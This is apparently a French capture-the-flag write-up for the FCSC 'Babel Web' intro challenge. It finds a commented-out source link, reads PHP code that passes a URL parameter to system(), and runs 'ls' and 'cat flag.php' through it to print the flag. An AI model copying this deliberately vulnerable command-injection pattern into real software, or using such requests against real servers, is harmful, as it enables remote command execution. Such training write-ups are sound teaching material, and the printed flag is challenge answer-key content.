Solution de BuzzYbis pour Babel Web

intro web

6 décembre 2023

Premières recherches

On lance le site et on inspecte le code source de la page donnée.

À première vue, rien sur la page. Mais en inspectant le code de la page, on obtient :

<html>
	<head>
		<title>Bienvenue à Babel Web!</title>
	</head>	
	<body>
		<h1>Bienvenue à Babel Web!</h1>
		La page est en cours de développement, merci de revenir plus tard.
		<!-- <a href="?source=1">source</a> -->
	</body>
</html>

On voit un lien commenté dans la page.

En inspectant l’élément, on peut dé-commenter ce lien. En réalisant un clic droit sur le commentaire et en éditant en tant que HTML.

Cela nous donne une page avec un lien cliquable.

Le lien nous envoie sur la route :

localhost:8000/?source=1

Cette route nous renvoie une page contenant :

<?php
   if (isset($_GET['source'])) {
       @show_source(__FILE__);
   }  else if(isset($_GET['code'])) {
       print("<pre>");
       @system($_GET['code']);
       print("<pre>");
   } else {
?>
<html>
   <head>
       <title>Bienvenue à Babel Web!</title>
   </head>    
   <body>
       <h1>Bienvenue à Babel Web!</h1>
       La page est en cours de développement, merci de revenir plus tard.
       <!-- <a href="?source=1">source</a> -->
   </body>
</html>
<?php
   }
?>

Décortiquage du code précédent

Afin de pouvoir l’exploiter, il nous faut comprendre le code obtenue qui semble être le code du site.

Tout d’abord, on voit que le code est composé de trois bloc, un if, un else if et un else.

Nous devons alors comprendre comment fonctionnent les conditions à remplir pour rentrer dans chaque bloc.

Pour cela, nous devons étudier les lignes :

if (isset($_GET['source']))
&&
else if (isset($_GET['code']))

Ces conditions portent sur la route de la page.

En effet, $_GET nous permet de récuperer une variable dans la route et isset() nous permet de savoir si cette variable est définie.

Donc :

  • Si notre route est de la forme localhost:8000/?source=var, on sera dans le if.
  • Si la route est de la forme localhost:8000/?code=var, on sera dans le else if.
  • Sinon, on sera dans le else.

On comprends donc que le if est la page nous ayant donnée le code et que le else est la page de base.

Nous devons donc exploiter le else if.

Exploitation

Ce bloc va récupérer la var après le = dans la route localhost:8000/?code=var et l’utiliser dans la fonction @system().

La fonction @system() va permettre d’exécuter des lignes de commande sur le serveur.

On utilise donc la route localhost:8000/?code=ls pour voir si des fichiers exploitables sont disponibles.

On obtient alors deux fichiers, flag.php et index.php.

On suppose donc que flag.php contient notre flag. Il faut donc lire son contenu.

On sait que la commande :

cat flag.php

nous permettrait de voir le contenu de flag sur la CLI.

Pour exécuter cette fonction dans la route on appelle la route localhost:8000/?code=cat%20flag.php (le %20 nous permettant de représenter l’espace, voir ici pour plus d’info).

Cela nous renvoie une page blanche, qui a comme code source :

<pre>
    <!--?php
	    $flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
    <pre-->
<pre>

On a alors obtenu notre flag.